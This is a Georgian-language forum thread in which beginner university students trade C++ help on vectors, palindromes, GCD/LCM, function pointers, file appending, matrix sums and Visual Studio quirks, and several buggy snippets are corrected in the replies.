რის გაკეთებას უნდა ვაპირებდე კაცო უნივერსიტეტის გამოცდის მსგავსებს ვაკეთებ და ამის გარდა ყველა ავამუშავე, პირველ კურსზე ვარ.. თუმცა როგორც ჩანს მე სწორედ დავწერე უბრალოდ Visual Studio ურევს
ვექტორს თუ ლიმიტი აქვს 3000-ზე ნაკლები მაშინ Ideone რატო აღიქვამს სწორედ და Visual არასწორედ
თან ლიმიტი რა შუაშია როცა 3 endl ვუწერდი და არ ჩამოყავდა პირდაპირ PrintVec მიგდებდა სანამ 100-მდე არ შევამცირე ელემენტების რაოდენობა

Dixtosa
უნიში Visual-ში ვმუშაობთ და რახან ამოცანაში 3000 ეწერა ესეიგი უნდა კითხულობდეს ამდენს Visual და არ უნდა ურევდეს
გავაპროტესტებ რო მივალ biggrin.gif

Posted by: Dixtosa 16 Jan 2013, 22:35
MrChorna
პროექტს სწორად ქმნი?


არვიცი ვექტორს ლიმიტი თუ აქვს მარა თუ აქვს 3000 რო არ არის ვიცი ეგ. და დარწმუნებული ვარ კიდევ ორი ნოლიც მარჯვნინვ არც ეგ იქნება ლიმიტი.


ვიჟუალ 2010შიც სოწრად მუშაობს.
* * *
აუ კომპილერზე რომ გითხარი მეათასე პოსტი იყო ეგ :/



უნდა აღმენიშნა ბლდ. :დ

Posted by: MrChorna 16 Jan 2013, 22:52
Dixtosa
კი სწორად ვქმნი მთლად ეგეთი დამწყებიც არ ვარ biggrin.gif პირველ სემესტრს ვამთავრებ უკვე, საბოლოო გამოცდისთვის ვემზადები რა.
ესეიგი ჩემი ვიზუალი ურევს რაღაცას sad.gif სხვაგან სადაც გავუშვი ყველგან კარგად ქნა.. არადა აქამდე არ შემქმნია პრობლემა.


ვინმეს 2012 არ გაქვთ რო გატესტოთ?

Posted by: n01k37 16 Jan 2013, 23:12
MrChorna
შენ კიდევ გაგიმართლა.. გეპეიში 1992 წლის ბორლანდის C კომპილერით გვასწავლიან.
შეამცირე თუ არა, მე წინა პოსტში გიხსენე რა პრობლემაც გქონდა, მაგრამ ვერ გაიგე. არადა ყველაზე ადვილად როგორც კი შევძელი ახსნა ეგრე იყო.

Posted by: MrChorna 16 Jan 2013, 23:18
n01k37
QUOTE
ძალიან კარგათაც აღიქვამს, უბრალოდ ერთხელ სრულდება რადგან "loop"-ში არ გაქვს. Debugger-ზე გსმენია რამე?

1) სრულდება F(v); და შიგნით loop-ში გაქვს კოდი.
2) ერთხელ სრულდება ეგ ორი ხაზი.
3) და ასევე PrintVec(v) სრულდება ისევ loop-ში.


ამას გულისხმობ?
ვერ გავიგე მართალია, ვერ ვხვდები 100-მდე რო ვამცირებ ელემენტების რაოდენობას ყველაფერს სწორედ რატო აკეთებს და 300-ზე უკვე ისევ ურევს.
მითუმეტეს რომ სხვა გარემოებში 3000-ზეც უპრობლემოდ მუშაობს.


QUOTE
შენ კიდევ გაგიმართლა.. გეპეიში 1992 წლის ბორლანდის C კომპილერით გვასწავლიან.

კი რავი განივში ნორმალური სწავლაა biggrin.gif ერთი ალგორითმებს გვასწავლიან ცოტა არეულად

Posted by: Dixtosa 17 Jan 2013, 00:03
n01k37
მე არ ვარ ადმწყები და ვერც მე ვერ გავიგე. ანუ შენ რას ამბობ მართლა არ უნდა ბეჭდავდეს?? :დ

Posted by: ლუკატარ 17 Jan 2013, 00:25
ერთი ეს მითხარით, რა განსხვავებაა კლასს და სტრუქტურას შორის? აი ეს ვიპოვე:

classes have the default access specifier as private, while for struct's the default specifier is public.
One other that you didn't mention is that classes are inherited privately by default, while structs are inherited publicly.
Otherwise, there is no difference.

ანუ მარტო იმაშია განსხვავება, default-ად რა წვდომა აქვს?

Posted by: n01k37 17 Jan 2013, 02:13
MrChorna
Dixtosa

მე მაპატიეთ.. არასწორად გავიგე მეც კოდის მნიშვნელობა, სიცხიანი ვჩალიჩობ და.. :|
მოკლედ, ის თუ მაინც სცადე, რომ კონსოლზე არ გაქვს საკმაოდ დიდი buffer რომ ტექსტი ანახოს?
ფაილში ჩაწერა სცადე ეკრანზე გამოტანის მაგივრად და ნახე თუ იმუშავებს.

Posted by: MrChorna 17 Jan 2013, 02:35
QUOTE (n01k37 @ 17 Jan 2013, 02:13 )
MrChorna
Dixtosa

მე მაპატიეთ.. არასწორად გავიგე მეც კოდის მნიშვნელობა, სიცხიანი ვჩალიჩობ და.. :|
მოკლედ, ის თუ მაინც სცადე, რომ კონსოლზე არ გაქვს საკმაოდ დიდი buffer რომ ტექსტი ანახოს?
ფაილში ჩაწერა სცადე ეკრანზე გამოტანის მაგივრად და ნახე თუ იმუშავებს.

» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «


აჰა გავაკეთე
ფაილში სწორად წერს
ვიზუალის დებუგერი არასწორად
რაღაც ჭირს ვიზუალს აშკარად biggrin.gif

QUOTE
რომ კონსოლზე არ გაქვს საკმაოდ დიდი buffer რომ ტექსტი ანახოს?

ამის გასწორება შემიძლია?

Posted by: alexandrius 17 Jan 2013, 13:04
ისა პროექტად იქსიკი ნოლიკის ჩაბარება უაზრობაა? როცა არც swing/JWM არ გვაქვს გავლილი და არც სოკეტები.
თამაშს AI-ც რომ ქონდეს?

Posted by: n01k37 17 Jan 2013, 16:49
MrChorna
ვინდოუსზე თუ ხარ, კი. ცოტათი ეთამაშე CMD-ს Properties-ს.
ან ეს სცადე, (თუ არ ვცდები.) http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/commandpromptoptions.mspx?mfr=true

Posted by: MrChorna 17 Jan 2013, 19:56
n01k37
მაგრა მელაპარაკები რა biggrin.gif
QUOTE
ცოტათი ეთამაშე CMD-ს Properties-ს.

როგორ ვეთამაშო? biggrin.gif

Windows 8 Enterprise x64 მიყენია

Posted by: Dixtosa 17 Jan 2013, 20:22
MrChorna
ჭადრაკი რა ვერ გაიგე :დ




ალიოხინის დაცვა უყვარს ისე დაგეხმარები wink.gif


:დ

Posted by: n01k37 17 Jan 2013, 23:50
MrChorna
სიცხე მაქვს 40.5 და ნუ გაგიკვირდება. ლინკიც მოგწერე ქვემოთ და ეგრე მიყევი თქო))

Posted by: cybernation21 18 Jan 2013, 01:37
QUOTE (MrChorna @ 17 Jan 2013, 19:56 )
Windows 8 Enterprise x64 მიყენია

cmd სთვის მაინც არ უხლიათ ხელი win 95 ის მერე ალბათ smile.gif

Posted by: Ostrakoni 20 Jan 2013, 23:09
MrChorna
CMD გახსენი და მარჯვენა კლიკით properties გახსენი და იქ შეგიძლია გაზარდო ბუფერი.

გამოცდაზე რა ქენი აბა?

Posted by: MuSoLiN 24 Jan 2013, 19:39
გამარჯობათ შეგიძლიათ სურათზე მოცემული მაგალითები დამიწეროთ პროგში როგორ იქნება? ხვალ გამოცდა მაქ და ძაან მჭირდება ესენი ვერ დავუმუღამე 1 ძლივს გავაკეთე


http://i51.fastpic.ru/big/2013/0124/6e/9e42aa7deffa078591b93c48770ff96e.jpg

Posted by: phoenix_beqauri 3 Feb 2013, 06:44
MuSoLiN
შენ რა მაზუხისტობას გასწავლიან biggrin.gif
სად სწავლობ ან მერეამდენე კურსზე ხარ? alk.gif

Posted by: Dixtosa 3 Feb 2013, 11:40
phoenix_beqauri
სავარაუდოდ თსუ-ში სწავლობს და პირველ კურსზეა. რას ერჩი ამოცანებს? პირველი სემესტრისთვის (მითუმეტეს რომ ყველა სწავლობს ამ საგანს) კარგი ამოცანებია

Posted by: phoenix_beqauri 6 Feb 2013, 05:06
Dixtosa
რავი როგორც გპი_შნიკლეს(არა სულიერად : ) ) მასეთ რამეს არ მასწავლიან, ბოლო გამოცდაზე მომცეს ამოცანა მასივზე და ეგ იყო...

Posted by: jazzsoul 9 Feb 2013, 11:09
პალინდრომის დაწერა მინდა c++-ში მაგალითად ვწერ:dato და მინდა გავაკეთო პალინდრომი ამ სიტყვისგან.
if-ით გაკეთება შეიძლებაო.

Posted by: n01k37 9 Feb 2013, 17:00
jazzsoul
შეგიძლია ინგლისურად დაწერო "პალინდრომი" რას ნიშნავს?

Posted by: Dixtosa 9 Feb 2013, 17:08
n01k37
ინგლისურად განმარტოს?biggrin.gif რატოbiggrin.gif

jazzsoul
ციკლის გარეშე არ გამოვა.

და სხვათაშორის if არ უნდა :დ

Posted by: n01k37 9 Feb 2013, 21:46
Dixtosa
ინგლისურად მაქვს თითქმის ყველაფერი ნასწავლი და ნამდვილად არ ვიცი "პალინდრომი" რას ნიშნავს.

Posted by: Farel0x 9 Feb 2013, 21:49
n01k37
ანა
101
2002

ფალინდრომებია,ანუ რომ შეაბრუნო იგივე სიტყვას/რიცხვს მიიღებ.
როგორც მახსოვს ასეა.

Posted by: n01k37 9 Feb 2013, 23:42
Farel0x
რა რომ შევაბრუნო კაცო? ინგლისური განმარტება არ აქვს დავიჯერო ?

Posted by: Dixtosa 10 Feb 2013, 00:15
n01k37
ძაან გინდა lmgtfy.com-სნაირი ლინკი გამოგიგზავნოს ვინმემ?:დ

Posted by: samuraisxmali 10 Feb 2013, 00:16
n01k37
A palindrome is a word, phrase, number, or other sequence of units that may be read the same way in either direction, with general allowances for adjustments to punctuation and word dividers.

Composing literature in palindromes is an example of constrained writing. The word "palindrome" was coined from the Greek roots palin (πάλιν; "again") and dromos (δρóμος; "way, direction") by the English writer Ben Jonson in the 17th century. The Greek phrase to describe the phenomenon is karkinikê epigrafê (καρκινικὴ επιγραφή; "crab inscription"), or simply karkinoi (καρκίνοι; "crabs"), alluding to the movement of crabs, such as an inscription that may be read backwards.

Posted by: n01k37 10 Feb 2013, 01:23
Dixtosa
არასწორად ვეძებდი facepalm.gif

Posted by: jazzsoul 11 Feb 2013, 17:10
დავწერე! ეს არის პალინდრომი.

#include <iostream>
using namespace std;
main ()
{
string s;
string rev;
int i;
int j;
cin>>s;
for(i=s.size()-1;i>=0;i--)
{
rev=rev+s[i];

}
cout<<s[0]<<s[1]<<s[2]<<s[3]<<s[i]<<endl;
cout<<s[0]<<s[1]<<s[2]<<s[3]<<s[0]<<s[1]<<s[2];
system("PAUSE");
}

Posted by: Dixtosa 11 Feb 2013, 17:36
QUOTE (jazzsoul @ 11 Feb 2013, 17:10 )
დავწერე! ეს არის პალინდრომი.


cout<<s[0]<<s[1]<<s[2]<<s[3]<<s[i]<<endl;
ეს რა არი?biggrin.gif

STL-ს გამოყენებით ყველაფერი მარტივდება:

CODE
#include <iostream>
#include <algorithm>
using namespace std;
main ()
{
string STR; cin>>STR;

reverse(STR.begin(), STR.end());

cout<<STR;

system("PAUSE");
}

Posted by: jazzsoul 11 Feb 2013, 19:22
ანუ ციკლი არ უნდა?
...................

Posted by: samuraisxmali 11 Feb 2013, 21:31
თქვენ სულ სხვა რამეს აკეთებთ, უბრალოდ ატრიალებთ სიტყვებს. შეტრიალების მაგივრად უნდა მოწმდებოდეს შებრუნებულად იგივენაირად იკითხება თუ არა და ეგ იქნება პალინდრომის პროგრამა.

Posted by: Svani91 11 Feb 2013, 21:40
CODE
int main(void)
{
string Str = "ABBA";

string reversed = "";
int startFrom = Str.length() - 1;
for( int i = startFrom; i >= 0; i-- ){
reversed += Str[i];
}

if( reversed == Str ){
cout <<  "Palindrome" <<'\n';
}
else {
cout << "false" << '\n';
}
}


ასე არა?

Posted by: Lapis 11 Feb 2013, 21:44
QUOTE
მაგალითად ვწერ:dato და მინდა გავაკეთო პალინდრომი ამ სიტყვისგან

აგე რა უნდა

ყველაფერი დაიდო მაგის გარდა biggrin.gif

Posted by: Dixtosa 11 Feb 2013, 22:04
Lapis
დატოსგან პალინდრომის გაკეთება არ არსებობს ეგეთი რამე მარა ტიპმა იგულისხმა შეტრიალება რასაც ჩემი კოდი კიარადა კოდუკა :დ პასუხობს :დ

Posted by: Lapis 11 Feb 2013, 22:09
Dixtosa
იქნებ უნდა რომ ეგ სიტყვა არის საწყისი და უნდა დაამატო სიმბოლოები რომ უმცირესი პალინდრომი მიიღო

Posted by: jazzsoul 12 Feb 2013, 16:46
დავუშვათ, რომ დავწერე დათო. მერე უნდა დამიწეროს დათო და რადგან არ არის პალნდრომი უნდა შეავსოს პალინდრომამდე. ანუ უნდა დაწეროს datotad სულ ეს არის.

Posted by: Dixtosa 12 Feb 2013, 19:38
jazzsoul
ეგრე რა :დ


მოკლედ მანდ ყველას გადარჩევის მეთოდით გააკეთე:
ჯერ დაამატე სიტყივს პირველი ასო ბოლოში და შეამოწმე პალინდრომობაზე, თუ არაა მაშინ პირველი ორი ასო და ასე შემდეგ.

პალინდრომობაზე შემოწმებისას ნუ იმოზგებ რაღაც ციკლების წერით; უბრალოდ შეატრიალე სთრინგი და თუ იგივე სთრინგია დააბრუნე true.

Posted by: jumanji333 2 Mar 2013, 23:47
ეხლა დავიწყე უნივერსიტეტში C++ ჯავა დავბრდღვენი და biggrin.gif biggrin.gif
visual studios importebi/includebi ავტომაატურად არ აქვს?
ანუ აქამდე ეკლიპში ვმუშაობდი და რამის იმპორტი რომ იყო საჭირო მიწითლდებდა და მერე ისარს რომ მივიტანდი იმპორტიც იქვე ქონდაა

Posted by: masai_go 2 Mar 2013, 23:47
jumanji333
არა არ აქვს : )

Posted by: jazzsoul 8 Mar 2013, 16:09
# include <iostream>
using namespace std;
int usg(int a,int b){

while (abc)

{a=a%b;

if(a==0)

cout<<b;

cout<<b=b%a;


if(b==0)
{
cout<<a<<endl;

}

}

int usj(int a,int b)

{

cout<<(a*b)/usj(a,b)<<endl;

}

int main()

{

int a,b;

cin>>a>>b;

cout<<usj(a,b)<<endl;

system ("PAUSE");

}



უმცირესი საერთო ჯერადის პოვნა მინდა და ამ პროგრამას არ უშვებს....

Posted by: Svani91 8 Mar 2013, 16:14
jazzsoul

აბა ასე შეცვალე მეთოდი

CODE

int usj(int a,int b)
{
  return (a*b)/usj(a,b);
}

Posted by: Lapis 8 Mar 2013, 16:19
jazzsoul
უაზრობებით გაქვს გატენილი კოდი და იმიტომ
while (abc) ეს რა არის რას ნიშნავს, სადამდე უნდა იტრიალოს ციკლმა?
cout<<b=b%a; ეს მინიჭებაა თუ ბეჭდვა.

int usg(int a,int b) ფუნქცია ინტეჯერ ტიპისაა, უნდა დააბრუნოს რამე, შენკიდე არაფერს არ აბრუნებინებ არსად.

int usj(int a,int b) იგივე აქ


ფიგურული ფრჩხილების გახსნა დახურვაც არეული გაქვს..


Posted by: MrChorna 12 Mar 2013, 14:51
Svani91
ეგრე უსასრულოდ იტრიალებს ფუნქცია და debugging არ დაამთავრებს არასდროს

უმცირესი საერთო ჯერადი რო იპოვო ორი რიცხვის ყველაზე მარტივი ხერხი ალბათ იქნება იპოვო უდიდესი საერთო გამყოფი (ევკლიდეთი) და მერე უსჯ იქნება a*b/უსგ(a,b)

ვიწვალე რაღაც და მგონი კარგად მუშაობს:

CODE
#include <iostream>
using namespace std;

int usg(int a, int b)
{
   for (;;)
   {
       if (a == 0) return b;
       b %= a;
       if (b == 0) return a;
       a %= b;
   }
}

int usj (int a, int b)
{
return a*b/usg(a,b); }

int main() {
int a, b;
cin>>a>>b;
cout<<"umciresi saerto jeradia: "<<usj(a,b)<<endl;
system("pause");
return 0;
}


Posted by: rezomegrelidze 12 Mar 2013, 16:45
ვინმემ მომეცით რა წარმოებულების გამომყვანის კოდი.

მაგალითად მე ვაძლევდე ფუნქცია f(x) x

და ის, რომ მიბრუნებდეს f'(x) = 1

ან მე, რომ ვაძლევდე f(x) x^2

და ის, რომ მიბრუნებდეს f'(x) = 2x


შეიძლება ნუბური შეკითხვა არ არის, მაგრამ მართლა მაინტერესებს როგორ კეთდება ესეთი პროგრამა.




Posted by: Ostrakoni 12 Mar 2013, 16:56
CODE

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
bool metiatze(int);
void fillvector(vector <int> &);
int countIf(vector <int>,bool );

int main()
{
vector <int> v;
cout<<"sheavse"<<endl;
fillvector(v);
cout<<countIf(v,metiatze)<<endl; // რა უნდა აქ?????????? რა მეშლება?????
system("pause");
return 0;
}

void fillvector(vector <int> &v)
{
int tmp;
while (cin>>tmp)
v.push_back(tmp);
}

bool metiatze(int a)
{
return a>10;
}
int countIf(vector <int> &a1,bool metiatz)
{
int jami=0;
for (int i=0;i<a1.size();i++)
 if (metiatze(a1[i]))
  jami++;
return jami;
}



ამიხსენით რააა

Posted by: MrChorna 12 Mar 2013, 17:19
Ostrakoni
& გაკლია ვექტორთან ზემოთ
აი ესე უნდა იყოს

CODE

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
bool metiatze(int);
void fillvector(vector <int> &);
int countIf(vector <int>&,bool );

int main()
{
vector <int> v;
cout<<"sheavse"<<endl;
fillvector(v);
cout<<countIf(v,metiatze)<<endl; // რა უნდა აქ?????????? რა მეშლება?????
system("pause");
return 0;
}

void fillvector(vector <int> &v)
{
int tmp;
while (cin>>tmp)
v.push_back(tmp);
}

bool metiatze(int a)
{
return a>10;
}
int countIf(vector <int> &a1,bool metiatz)
{
int jami=0;
for (int i=0;i<a1.size();i++)
if (metiatze(a1[i]))
 jami++;
return jami;
}


მაგრამ countIf-ს bool რატო აწოდებ? არაა საჭირო
ესე უკეთესია:

CODE
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
bool metiatze(int);
void fillvector(vector <int> &);
int countIf(vector <int>&);

int main()
{
vector <int> v;
cout<<"sheavse"<<endl;
fillvector(v);
cout<<countIf(v)<<endl; // რა უნდა აქ?????????? რა მეშლება?????
system("pause");
return 0;
}

void fillvector(vector <int> &v)
{
int tmp;
while (cin>>tmp)
v.push_back(tmp);
}

bool metiatze(int a)
{
return a>10;
}
int countIf(vector <int> &a1)
{
int jami=0;
for (int i=0;i<a1.size();i++)
if (metiatze(a1[i]))
jami++;
return jami;
}

Posted by: Ostrakoni 12 Mar 2013, 22:25
smile.gif რა სისულელე დამიწერია სად ვაკვეხებდი ბულს. აშკარად ეტყობა რომ სამი ლექციის მერეა დაწერილი biggrin.gif


* * *
კომპიუტერების საუნაში smile.gif







;
* * *
CODE


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
bool metiatze(int);
void fillvector(vector <int> &);
int countIf(vector <int>&,bool funqcia(int));  // პროტოტიპში მქონდა შეცდომა. int countIf(vector <int>,bool ); ასე მეწერა

int main()
{
vector <int> v;
cout<<"sheavse"<<endl;
fillvector(v);
cout<<countIf(v,metiatze)<<endl;
system("pause");
return 0;
}

void fillvector(vector <int> &v)
{
int tmp;
while (cin>>tmp)
v.push_back(tmp);
}

bool metiatze(int a)
{
return a>10;
}
int countIf(vector <int> &a1,bool metiatze(int a)) // ----------------------და აქაც ფუნქციის სახე მთლიანად არ მეწერა;
{
int jami=0;
for (int i=0;i<a1.size();i++)
if (metiatze(a1[i]))
jami++;
return jami;
}

დანარჩენი სწორად მქონდა ე.ი.


ჩემი მთავარი მიზანი იყო რომ მესწავლა ფუნქციისთვის ფუნქციის არგუმენტად გადაცემის სინტაქსი. და რატომღაც ვერ მოვძებნე კარგად

სხვებმა ვინც არ იცით წაიკითხეთ რომ ჩემსავით არ იხიმანდროთ smile.gif

Posted by: MrChorna 13 Mar 2013, 14:20
Ostrakoni
არგუმენტად რატო უნდა გადასცე?
ისედაც შეგიძლია ფუნქციაში სხვა ფუნქცია გამოიძახო, მეორე კოდში როგორც მაქვს

Posted by: Devastator 22 Mar 2013, 14:53
filestream-თან დაკავშირებით მაქვს კითხვები:
ofstream stringout;
stringout.open("file.txt")//ვქმნი რაღაც ფაილს
string word;
cin>>word;
stringout<<(word);//ამით შექმნილ ფაილში ვწერ რაღაც სიტყვას.
მაგრამ მინდა ისეთი მეთოდი რომლითაც არსებულ ფაილს დაამატებს ამ "სიტყვას"(პროგრამის ყოველი გაშვებისას), შეავსებს. თორე მაგ კოდით ახლიდან წერს იმ ფაილში და ძველ ჩანაწერს შლის.

Posted by: Dixtosa 22 Mar 2013, 15:18
Devastator
http://www.cplusplus.com/reference/fstream/ofstream/ofstream/


შენ გინდა იობასე::აპპ

Posted by: rezomegrelidze 22 Mar 2013, 19:17
C++ გაკვეთილების კეთება დავიწყე.



Lapis

Why?

Posted by: Lapis 22 Mar 2013, 21:55
rezomegrelidze
შეეშვი user.gif

Posted by: Dixtosa 22 Mar 2013, 22:53
rezomegrelidze
QUOTE
შეეშვი                                     user.gif



:დ მეც მინდოდა მეთქვა მარა გადავიფიქრე და ბარემ გითხრეს დავეთანხმები მაინც :დ



პ.ს. მართლა :ნოდ:



თან ისეთი კონკურენტი გყავს:
http://www.youtube.com/watch?v=3EJtZ4qhXog

Posted by: rezomegrelidze 22 Mar 2013, 23:59
Dixtosa

მე მინდა მაგალითების კეთებით ავხსნა. კი კარგია პოინტერების ახსნა, მარა ყოველთვის ჯობია როდესაც ამ ცოდნის გამოყენებას მოახდენ, ამით უკეთ ასწავლი. თანაც მე არავის არ ვეჯიბრები. მე ამას უფრო ჩემი მეგობრებისთვის ვაკეთებ ვიდრე ყველასთვის. ისე მაგ გიორგი ბაქრაძის არ მესმის. cmd-თი კომპილაცია რა უბედურებაა.

თქვენი თქმით არ შევეშვები, მარა უფრო მკაფიო მიზეზი, რომ დაგეწერათ ჯობდა.

Posted by: სნეგირი 23 Mar 2013, 11:33
rezomegrelidze
არ შეეშვა... რაც გაგისწორდება ის აკეთე...

ერთხელ ცხოვრობ...

Posted by: rezomegrelidze 23 Mar 2013, 11:41
სნეგირი

YOLO




Posted by: n01k37 25 Mar 2013, 00:39
rezomegrelidze
QUOTE
ისე მაგ გიორგი ბაქრაძის არ მესმის. cmd-თი კომპილაცია რა უბედურებაა.

მარტო g++ main.cpp -o main.### კი არ არის wink.gif როდესაც დაგჭირდება სხვა არგუმენტების დამატება მერე მიხვდები თუ რა უბედურებაც არის wink.gif

Posted by: rezomegrelidze 25 Mar 2013, 00:54
n01k37

ვერ გავიგე რა მომწერე.

რა არგუმენტებზე საუბრობ?

ანუ შენ ამბობ, რომ IDE-თი ვერ გავაკეთებ იმდენს, რამდენსაც ტექსტ ედიტორით და cmd-თი?

cmd-თი ძველი პროგრამისტები აკომპილირებდნენ. დღეს უფრო თანამედროვე საშუალებებს იყენებენ.

Posted by: n01k37 25 Mar 2013, 01:13
rezomegrelidze
IDE-სთვის ხელით გაწერა მაინც მოგიწევს..
gcc/g++ --help ან თუ ვრცლად გაინტერესებს http://gcc.gnu.org/onlinedocs/gcc-3.2/gcc/

და ასევე, თანამედროვე არ ნიშნავს იმას, რომ აუცილებლად უნდა გამოვიყენოთ და უკეთესია wink.gif

Posted by: rezomegrelidze 25 Mar 2013, 01:45
n01k37

მართალი ხარ. უკეთესი ისაა, რასაც მიეჩვიე. მე IDE-ს ვარ მიჩვეული. როდესაც დავინახავ, რომ IDE-თი არ შემიძლია იმის კეთება რაც მინდა, გადავალ cmd-ზე. მაგრამ ისევ ეჭვი მეპარება იმაში, რომ რაიმე არ შეეძლოს.

კომპაილერის მანუალს რისთვის მაძლევ, მაინც ვერ ვერკვევი დიდათ მაგათ მუშაობაში. ერთადერთი ვიცი, რომ x86 პლატფორმაზე მუშაობს ჩვენი კომპები. დალშე აღარ მესმის ამ კომპაილერების.

ამ საიტს გადახედე, იქნებ მოგეწონოს.

http://programr.com

ბევრნაირი პროგის კოდი დევს და ასევე ონლიანში შეგიძლია გაშვება.


Posted by: Farel0x 25 Mar 2013, 01:46
rezomegrelidze
დღესაც აქტიურად იყენებენ smile.gif
შეგიძლია წაიკითხო gcc - ს დოკუმენტაცია,ბევრი არგუმენტების დამატება შეგიძლია.

Posted by: n01k37 25 Mar 2013, 02:05
rezomegrelidze
გასაგებია)) ადრე თუ გვიან მაინც მოგიწევს, უბრალოდ რჩევა მოგეცი smile.gif რაც მალე მიეჩვევი, მით უკეთესი. მაგრამ ელემენტალური კომპილაციისთვის და ერთი სორს ფაილისათვის, მართლა არ არის cmd-ს გამოყენება.
საიტს რაც შეეხება, კარგი რაღაც მომეცი, იცოცხლე smile.gif)

Posted by: Lapis 25 Mar 2013, 02:42
rezomegrelidze
QUOTE
Why?

გამოთქმაა ეგეთი, ვისაც შეუძლია აკეთებს, ვისაც არა - ასწავლის-ო.
ჯერ თვითონ არ იცი, სხვას რა/როგორ უნდა ასწავლო?
ჯერ თვითონ ისწავლე, გახდი პროფესიონალი და თუ ისევ გექნა სურვილი მაგაზე კარგს ვერაფერს გააკეთებ რომ ცოდნა გააზიარო.

ცუდად არ გამიგო, არც შენი დამცირებისთვის მითქვამს და არც რამე ცუდი განზრახვა მქონია, ხისტად შეიძლება გამოვიდა მაგრამ რბილად ვერ მოვიფიქრე როგორ მეთქვა.

Posted by: rezomegrelidze 25 Mar 2013, 08:23
Lapis

QUOTE
გამოთქმაა ეგეთი, ვისაც შეუძლია აკეთებს, ვისაც არა - ასწავლის-ო.


ესეთი გამონათქვამი არ გამიგია.

საკმარისი ცოდნა მაქვს ამ ვიდეოების გასაკეთებლად.

Posted by: n01k37 25 Mar 2013, 14:14
rezomegrelidze
ნუ იწყენ, სწორს გეუბნება smile.gif

Posted by: jazzsoul 5 Apr 2013, 19:11
ვწერ მატრიცას, ფაილებს ვიყენებ..
რაღაცა ტექსტ ფაილში ვწერ რიცხვებს.
მაგალითად:
2
4 3
2 1
უნდა წაიკითხოს და დაბეჭდოს სტრიქონების ჯამი.. ანუ ჩემს შემთხვევაში, 4+2=6 და 3+1=4;
თუ ეწერება ესე:
3
4 2 3
1 2 6
8 9 1

და დაწერს სტრიქონების ჯამს;

რაღაცა მატრიცა ქვია მემგონი ამ ამოცანას და დაგუგლვის შემდეგ, მაინც ვერაფერს ვპოულობ.
S O S

Posted by: Dixtosa 5 Apr 2013, 20:22
jazzsoul
სტრიქონების ელემენტების ჯამის ამოცანას არ ჰქვია არაფერი. : )


აბა შენ როგორ წერდი დადე და შევასწორებთ.


Posted by: Marthin_Luther_King 5 Apr 2013, 20:32
jazzsoul
CODE

#include <iostream.h>
#include <conio.h>
int main()
{
int A[10][10],m,n,x,y,sum=0;
cout << "Enter number of rows and columns in Matrix A : \n";
cin>>n>>m;
cout << "Enter elements of Matrix A : \n";
for(x=1;x<n+1;++x)
for(y=1;y<m+1;++y)
cin>>A[x][y];
for(x=1;x<n+1;++x)
{
A[x][m+1]=0;
for(y=1;y<m+1;++y)
A[x][m+1]=A[x][m+1]+A[x][y];
}
for(y=1;y<m+1;++y)
{
A[n+1][y]=0;
for(x=1;x<n+1;++x)
A[n+1][y]+=A[x][y];
}
cout << "\nMatrix A, Row Sum (Last Column)" << " and Column Sum (Last Row) : \n";
for(x=1;x<n+1;++x)
{
for(y=1;y<m+2;++y)
cout << A[x][y] << "     ";
cout << "\n";
}
x=n+1;
for(y=1;y<m+1;++y)
cout << A[x][y] << "     ";
cout << "\n";
if(m==n)
{
for(x=1;x<m+1;x++)
for(y=1;y<n+1;y++)
if(x==y)
sum+=A[x][y];
else
if(y==m-(x+1))
sum+=A[x][y];
}
cout << "Sum of diagonal elements is : " << sum << endl;
getch();
return 0;
}

Posted by: mecniera 9 Apr 2013, 15:47
#include <iostream>

using namespace std;

int main ()
{

cout << "Hellow world";

system ("pause");

}


ამ კოდში რა სეცდომაა?

Posted by: rezomegrelidze 9 Apr 2013, 16:16
mecniera

არავითარი შეცდომა არაა.

თუ Visual Studio არ იყენებ.

მაშინ

#include <Windows.h>

უნდა დაუწერო იმისათვის, რომ აღიქვას.

system("pause");


Posted by: mecniera 9 Apr 2013, 16:53
rezomegrelidze

visual studio_ს ვიყენებ მაგრამ არ შვება

ამას წერს


Error 1 error LNK1123: failure during conversion to COFF: file invalid or corrupt C:\Users\Mecniera\Desktop\first\first\LINK first

Posted by: rezomegrelidze 9 Apr 2013, 16:54
mecniera

ეგ იმას არ ნიშნავს, რომ კოდშია შეცდომა.


QUOTE
არ აკომპილირებს


პრობლემა თითონ პროგრამაშია.

ისე არ მესმის რათ გინდა ვიზუალ სტუდიო მასეთი პროექტებისთვის.

გადმოიწერე CodeBlocks.

http://www.codeblocks.org/downloads/26

Posted by: mecniera 9 Apr 2013, 16:57
rezomegrelidze

ადრე თუ გვიან ხომ მომიწევს visual studio_ს გამოყენება?

მაგალითად კალკულატორის სექმნისთვის, და სხვა მარტივი თუ რთული პროგრამებისთვის smile.gif
* * *
2012 გადმოვწერე, დავაყენე და მშვენივრად მუშაობს


ახლა მაქ რამდენიმე შეკითხვა, კონსოლში მინდა ნაწერების ფერის შეცვლა

და კიდევ თუ შეიძლება უკვე დაკომპლირებული exe ფაილი გავუგზავნო სხვას და იქაც ისევ ისე იმუშავოს როოგორც ჩემთან მუშაობს

ნუ ამ ბოლო კითხვაზე მგონი პასუხი კი არის მაგრამ მაინც დაზუსტება მინდა smile.gif

Posted by: n01k37 9 Apr 2013, 18:44
mecniera
return 0; ბოლოში.
პ.ს ისწავლეთ კომპილერთან ლაპარაკი, ყველაფერს გიწერთ დაწვრილებით.

Posted by: rezomegrelidze 9 Apr 2013, 19:09
mecniera

ნაწერების ფერის შეცვლისთვის არსებობს ასეთი კომანდი.

system("color fc");

f და c შეგიძლია შეცვალო სასურველი ციფრებით. ზუსტად არ მახსოვს რა ასო ან ციფრი რას ნიშნავს. მოძებნა მოგიწევს. ანდა ჩაწერე რაღაც სულელური როგორიცაა system("color fz");

და შეიძლება კონსოლმა გასწავლოს რა რას ნიშნავს. ცადე და მიხვდები.

n01k37

return 0;

აღარაა აუცილებელი.

Posted by: mecniera 9 Apr 2013, 20:45
rezomegrelidze

CMD ნუ პროგრამა ქართულ ნაწერევს ვერ ხედავს?

Posted by: n01k37 9 Apr 2013, 22:03
mecniera
ხედავს თუ უნიკოდს გამოიყენებ.
char *-ის მაგივრად wchar_t * გამოიყენე და cout-ის მაგივრად wcout.
rezomegrelidze
კომპილერს გააჩნია wink.gif მაგრამ რჩევა არის, რომ არასდროს დაგავიწყდეთ ბოლოში.

